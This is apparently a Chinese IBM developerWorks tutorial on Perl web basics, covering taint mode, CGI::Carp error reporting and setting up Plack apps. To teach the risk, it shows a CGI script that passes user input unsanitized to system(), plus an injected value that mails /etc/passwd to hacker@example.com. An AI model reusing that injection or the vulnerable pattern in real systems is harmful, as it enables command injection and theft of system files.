Perl 是一种功能强大的脚本语言,既可以使用它从命令行执行一些小操作,也可以用它生成完整的 Web 门户。了解编写安全的 Perl CGI 脚本的技术非常重要,以便开发出的 Web 门户不会破坏服务器的完整性或 Web 网站的数据。本文首先会介绍一些能够帮助开发人员创建安全的 Perl CGI 脚本并处理错误的技术,然后查看一些使用 Plack 系统构建 Web 应用程序的更简便的方法。

Leo Lapworth, 顾问作家, 自由职业者

/developerworks/i/p-llapworth.jpgLeo Lapworth 专注于快速开发和寻找问题的解决方案。他通常不关心内容;他关心的是如何获取以及如何为公司、客户和用户提供更好的服务。他主要研究 Perl 的开源系统 (LAMP) ,他还是 London Perl 社区的活跃成员。



Martin C. Brown, 自由撰稿人和咨询顾问

http://www.ibm.com/developerworks/i/p-mbrown.jpgMartin C. Brown,马丁.布朗,是Studio B 工作室的作者,一个早期的IT主管,在跨平台集成方面经验丰富。作为一名热心的开发工程师,他曾经为一些特殊用户制作了动态站点,包括HP和Oracle,并且现在是Foodware.net的技术主管。目前他是一名自由撰稿人和咨询顾问,马丁是比较知名的,作为SME时与微软有过工作协作,他是LinuxWorld杂志的LAMP技术编辑,AnswerSquad.com团队的核心成员,并已经撰写了大量的不同主题的书籍,如微软认证,iMacs以及开放源码编程。除了这些努力外,马丁在很多平台和众多环境中依然保持是一名普通并且喜爱编程的程序员。



2011 年 10 月 17 日

受污染的信息

让信息不受污染听上去似乎是不可能的事情,要保证脚本彻底安全,只能既不使用外部数据,也不使用来自外部连接或接口的数据(例如运行一个命令或连接到外部数据库)。对于一些简单的脚本,这是完全有可能做到的。

但对于一般的 Web 应用程序,会从一个表单或其他位置接收数据,然后在其他表单中使用这些数据,在这种情况下,使用脚本解决方案才是首选。

使用这样的数据可能造成严重后果。例如,请考虑一下 清单1 中的示例:

清单 1. 典型的脚本
#!/usr/bin/perl 
use strict;
use warnings;

use CGI qw/:standard/; 
my $query = new CGI(); 
my $email = $query->param(email); 
system("mail $email") or die "Couldn't open mail"

假设我们能一直获得完全有效的 email 地址,那么这段脚本看上去没有任何问题。但我们使用了 system() 函数来发送 email,因此 email 地址的内容可能会影响到系统。例如,假设所提供的 email 地址是:

    example@example.com;
    cat /etc/passwd |  mail  hacker@example.com

现在 email 地址不仅(可能)包含有效的 email 地址,而且还通过 email 告诉其他人密码文件。system() 函数打开一个子 shell 并执行相关内容。这就是一个重大安全问题。

如果 Perl 没有提供称为污染模式的内置模式,那么追踪不同信息的来源就会变得很困难。如果 Perl 确定实际有效的用户 ID 是其他 ID,或通过在命令行或脚本开头处使用 -T 选项,那么系统会自动启用污染模式。

启用污染模式后,Perl 会检查不同数据和变量的来源与使用情况,确保使用的信息未执行带有不安全或危险操作的脚本,未包含不受信任的信息。顾名思意,这些数据被划分为受污染的 数据。

对于源自命令行参数、环境变量、本地信息和某些系统调用(包括访问共享目录、共享内存和系统数据)的所有信息,Perl 会识别受污染的数据。另外,所有从外部文件读取的数据都会受污染。

不能在调用子 shell 的命令(包括管道输入/输出和 system() 调用或 exec() 调用)或修改文件的目录的命令(如写入、删除或重命名)或进程中直接或间接使用受污染的数据。

此规则还有一个特例,print()(及其衍生物)和 syswrite() 不会触发污染错误或子方法、子引用或哈希键。

污染功能还会自动扩展,监视可疑的值,即使您未直接使用它。例如,无论何时调用 system()exec(),都会检查 PATH 环境变量的值,无论是否在命令行中使用了受污染的变量,因为所执行的命令是由 PATH 决定的。检查 PATH 是为了确保路径中列出的所有目录都是绝对路径,而且所有者及其所在组以外的人无法执行写入操作。这样做可防止所运行的命令产生更大的问题。

如果启用了污染模式,Perl 会产生错误并停止执行,它还会识别出正在使用的受污染值。例如,使用不安全的 PATH 会产生以下错误:

Insecure $ENV{PATH} while running with -T switch at t.pl line 11

而使用不安全的变量会产生以下错误:

Insecure dependency in system while running with -T switch at t2.pl line 2

在典型的 Web 应用程序中,无论用来收集信息的方法是什么,用户从表单提供的数据都会受污染。源自 CGI 脚本的数据可以从标准输入或环境变量中获得(这取决与所使用的 HTTP 方法和环境),而且这两者都被划分为污染源。

为了保护脚本执行,并确保未使用不安全数据,您需要识别信息并去除污染,以便可以安全使用数据。


使用 CGI::Carp

在 Perl 脚本中,报告错误的常用方法是使用 warn()die() 函数来报告或产生错误。而对于 Carp 模块,它可以对产生的消息提供额外级别的控制,尤其是在模块内部。

另外一个模块 CGI::Carp 提供了很多与 Carp 模块一样的功能。它专门设计用于 Web 脚本中,可将错误信息写入指定的日志,而不是写入默认 Web 服务器日志中(例如,由 Apache 生成的日志),或者您可以在某种受控方式下将信息写入 Web 页面。

标准 Carp 模块提供了 warn()die() 函数的替代方法,它们在提供错误定位方面提供更多信息,而且更加友好。当在模块中使用时,错误消息中包含模块名称和行号。

Carp 模块内部,有 4 个主要函数,carp() 是警告消息的同义词,croak()die() 一样,可以结束脚本。cluck()confess() 分别与 warn()die() 类似,但提供了从产生错误处的栈回溯追踪。

如果同时使用 Carp 和 CGI::Carp 模块,那么标准函数,例如 warn()die()Carp 模块函数、croak()confess()carp() 将会将错误信息写入已配置好的 HTTP 服务器日志,并附带日期/时间戳和脚本来源。

使用 HTTP 服务器错误日志的一个替代方法是使用 CGI::Carp 并利用 carpout() 函数。该函数只有一个参数,即您用来写入错误信息的文件的文件句柄(通常会将该信息发送到 STDERR)。您需要显式导入 carpout() 函数。如 清单 2 中的一个示例所示。

清单 2. 使用 CGI::Carp
#!/usr/bin/perl 
use strict;
use warnings;

use CGI::Carp qw/carpout/; 
use IO::File; 

my $logfile = IO::File->new('browser.log','w')
    or die "Couldn't open logfile:$!\n"; 
    
carpout($logfile); 

warn "Some error must have occurred\n";

日志中产生的信息是通过日期和产生输出的脚本名称进行区分的:

[Thu Sep 2 11:35:56 2010] carpout.cgi:Some error must have occurred

所有的标准方法都假设您想要将错误信息写入日志文件中。但是您可能并不始终具有访问日志的权限,或者并不总是能够登录到浏览器来获取信息。

因此 CGI::Carp 函数提供了一个 fatalsToBrowser 选项将致命错误消息(die()confess())重新指向浏览器和 Web 服务器日志。这样可以确保您的用户能够看到脚本所产生的错误。非致命错误(warn()carp())将会按照常规继续发送至错误日志。

要使用 CGI::Carp 模块,必须在加载该模块时将它指定为一个选项,请使用 CGI::Carp qw/fatalsToBrowser/;。我们可以将它添加到文件浏览脚本中,以确保错误被正确报告和识别。


使用 Plack

信息污染以及使用 CGI::Carp 都是低级的问题,但仍然会引起人们的重视。但是,可以通过使用一些 Web 应用程序框架(例如 Catalyst 或 Dancer)来简化 CGI 应用程序的低层次方面,比如处理查询参数和输出头部材料。Plack 可以同框架一起使用,也可以单独使用,如下所示。

Plack 是 Web 框架和 Web 服务器的 Perl 纽带。Plack 位于代码(无论是否使用框架)和 Web 服务器(例如,Apache、Starman 和 FCGI)之间。这意味着您(以及您所用的框架)无需担心 Web 服务器的设置,反之亦然。


设置 Plack

我们现在将开始设置 Plack。我们将会使用 cpanm(来自 App::cpanminus)下载模块并将它安装到 local::lib(无需具有 root 访问权限)。如 清单 3 所示。

清单 3. 初始设置
# archive of any existing cpan configuration
mv ~/.cpan ~/.cpan_original
 
# Then one of the following:

# if you can run wget
wget -O - http://cpanmin.us/ | perl - local::lib App::cpanminus && echo 'eval
$(perl -I$HOME/perl5/lib/perl5 -Mlocal::lib)' >> ~/.bashrc && .~/.bashrc
 
# OR if you can run curl
curl -L http://cpanmin.us/ | perl - local::lib App::cpanminus && echo 'eval $(perl
-I$HOME/perl5/lib/perl5 -Mlocal::lib)' >> ~/.bashrc && .~/.bashrc
 
# otherwise, download the contents of http://cpanmin.us to a file called cpanmin.us,
make it executable and then run: 
./cpanmin.us local::lib App::cpanminus && echo 'eval $(perl -I$HOME/perl5/lib/perl5
-Mlocal::lib)' >> ~/.bashrc && .~/.bashrc

以上步骤就是快速方便地构建 Web 应用程序所需的核心 Plack 模块(参见下方 清单 4)。

清单 4. 使用 cpanminus 安装 Plack
cpanm Task::Plack 
# Please also run this as we will use it later 
cpanm Plack::Middleware::TemplateToolkit

主目录中的 perl5 文件夹下已经包含了所需的所有模块。下一步是创建一个 .psgi 配置文件,用它返回一个 Web 页面(参见下方 清单 5)。

清单 5. 创建一个 .psgi 配置文件
# Tell Perl where our lib is (ALWAYS use this) 
use lib "$ENV{HOME}/perl5/lib/perl5"; 

# ensure we declare everything correctly (ALWAYS use this) 
use strict; 

# Give us diagnostic warnings where possible (ALWAYS use this) 
use warnings; 

# Allow us to build our application 
use Plack::Builder; 

# A basic app 
my $default_app = sub { 
    my $env = shift; 
    return [ 
        200, # HTTP Status code 
        [ 'Content-Type' => 'text/html' ], # HTTP Headers, 
        ["All is good"] # Content 
    ];
}; 

# return the builder 
return builder {
    $default_app; 
}

将配置文件保存到名为 1.psgi 的文件中,然后在命令行中使用 plackup 命令启动 Web 服务器,如下所示:plackup 1.psgi。您会看到:HTTP::Server::PSGI:Accepting connections at http://SERVER_IP:5000/

使用 Web 浏览器转至 http://SERVER_IP:5000/。如果您是在自己的台式机上开发程序,则可以使用 http://localhost:5000/ 。您会看到页面显示 “All is good”。实际上,转到任何页面都会看到 http://localhost:5000/any_page.html,因为不管请求的是什么,都会返回此内容。

您可能会注意到,在命令行上可以看到 Web 服务器的访问日志。这是因为 Plack 默认情况下被设置为开发模式,并且打开一些额外的中间件层,其中包括 AccessLog、StackTrace 和 Lint。

如果要在运行时看到 StackTrace,那么请在清单 4 中注释掉第 27 行,只需在行首加上一个井号 (#) 即可:# ["All is good"] # Content

重新启动 plackup 命令(输入 Ctrl+C 停止进程,然后运行 plackup 1.psgi 启动)。现在,在 Web 浏览器中再次转至 http://localhost:5000/,您将会看到错误的 StackTrace。注意页面顶部的主要错误消息 “response needs to be 3 element array, or 2 element in streaming”。然后,您可以按照追踪的每一步骤,单击每一段追踪信息下方的 Show function arguments 和 Show lexical variables 链接来帮助调试。

去掉 # 并重新启动,那么您就再次拥有了一个有效的 .psgi 文件。


开发

plackup 命令有好几个命令行参数,运行 perldoc plackup 命令会显示相关文档。最常用的参数是 -r--reload;这会让 plackup 监控 .psgi 文件(如果 psgi 文件有相应的 lib 目录,也会受到监控):plackup -r 1.psgi


扩展应用程序

Plack 中有很多有用的应用程序,您肯定想将它们集成到您的 Web 门户中。例如,在 清单 6 中,我们使用 Plack::App::Directory 来列出目录,并将其内容用作静态文件。我们将使用 Plack::App::URLMap 来选择将应用程序加载到哪个 URL 上。

清单 6. 第二个 .psgi 配置文件
use lib "$ENV{HOME}/perl5/lib/perl5"; 
use strict; 
use warnings; 
use Plack::Builder; 

# 'mount' applications on specific URLs 
use Plack::App::URLMap; 

# Get directory listings and serve files 
use Plack::App::Directory; 

my $default_app = sub { 
    my $env = shift; 
    return [ 200, [ 'Content-Type' => 'text/html' ], ["All is good"] ];
}; 

# Get the Directory app, configured with a root directory 
my $dir_app = Plack::App::Directory->new( { root => "/tmp/" } )->to_app; 

# Create a mapper object
my $mapper = Plack::App::URLMap->new(); 

# mount our apps on urls 
$mapper->mount('/' => $default_app); 
$mapper->mount('/tmp' => $dir_app); 

# extract the new overall app from the mapper 
my $app = $mapper->to_app(); 

# Return the builder 
return builder { 
    $app; 
}

清单 6 中的代码将 $dir_app 加载到 /tmp/ ( open http://localhost:5000/tmp/ ) 以及 $default_app 或其他任何路径 ( open http://localhost:500/anything_else.html )


更多的中间件和应用程序

有很多的 Plack::AppsPlack::Middleware 模块可以帮助我们完成常见任务。我们将看一看 Plack::Middleware::TemplateToolkit,它通过模板化引擎 Template-Toolkit (TT) 来解析文件。图像和其他静态内容不会通过 TT,因此我们会配置 Plack::Middleware::Static,通过特定的扩展名直接提供文件。在此之前,我们想在出现错误 404(文件未找到)时,会显示一个好看的页面;我们使用 Plack::Middleware::ErrorDocument 来完成这项任务。我们所需加入的代码如 清单 7 所示。

清单 7. Plack::Middleware::TemplateToolkit 模块
    # A link to your htdocs root folder
    my $root = '/path/to/htdocs/';
    
    # Create a new template toolkit application (which we will default to)
    my $default_app = Plack::Middleware::TemplateToolkit->new(
        INCLUDE_PATH => $root,    # Required
    )->to_app();
    
    return builder {

        # Page to show when requested file is missing
        # this will not be processes with TT
        enable "Plack::Middleware::ErrorDocument",
            404 => "$root/page_not_found.html";

        # These files can be served directly
        enable "Plack::Middleware::Static",
            path => qr{[gif|png|jpg|swf|ico|mov|mp3|pdf|js|css]$},
            root => $root;

        # Our application
        $default_app;
    }

到此为止,深入研究一下提供 PSGI 支持并能使用 Plack 的众多 Web 框架之一也许是值得的。这些框架提供了执行更复杂的任务的结构和支持。让我们来看一下 Catalyst、Mojolicious 或 Dancer。Perl.org Web 框架白皮书(参阅 参考资料 中链接)讨论了使用框架的诸多优势。


结束语

由于要保证从用户处接收的信息的安全,因此在 Perl Web 门户脚本中解析并使用 Web 数据变得非常复杂。一旦批准了通过 Perl 脚本访问底层文件系统,就必须确保 CGI 脚本不能访问您不想让外部人员访问的文件。

Plack 不能消除您对这些因素的担忧,但它能让构建先进的 Web 应用程序系统的过程变得轻松很多。Plack 能够解决这些问题,而且提供了一个简化的环境来构建 Web 应用程序。Plack 可以处理 Web 服务器与 Perl 应用程序之间的复杂性,简化并保护您的应用程序和服务器。

参考资料

学习

获得产品和技术

讨论

条评论

developerWorks: 登录

标有星(*)号的字段是必填字段。


需要一个 IBM ID?
忘记 IBM ID?


忘记密码?
更改您的密码

单击提交则表示您同意developerWorks 的条款和条件。 查看条款和条件

 


在您首次登录 developerWorks 时,会为您创建一份个人概要。您的个人概要中的信息(您的姓名、国家/地区,以及公司名称)是公开显示的,而且会随着您发布的任何内容一起显示,除非您选择隐藏您的公司名称。您可以随时更新您的 IBM 帐户。

所有提交的信息确保安全。

选择您的昵称



当您初次登录到 developerWorks 时,将会为您创建一份概要信息,您需要指定一个昵称。您的昵称将和您在 developerWorks 发布的内容显示在一起。

昵称长度在 3 至 31 个字符之间。 您的昵称在 developerWorks 社区中必须是唯一的,并且出于隐私保护的原因,不能是您的电子邮件地址。

标有星(*)号的字段是必填字段。

(昵称长度在 3 至 31 个字符之间)

单击提交则表示您同意developerWorks 的条款和条件。 查看条款和条件.

 


所有提交的信息确保安全。


static.content.url=http://www.ibm.com/developerworks/js/artrating/
SITE_ID=10
Zone=AIX and UNIX
ArticleID=765889
ArticleTitle=Perl Web 门户基础知识
publish-date=10172011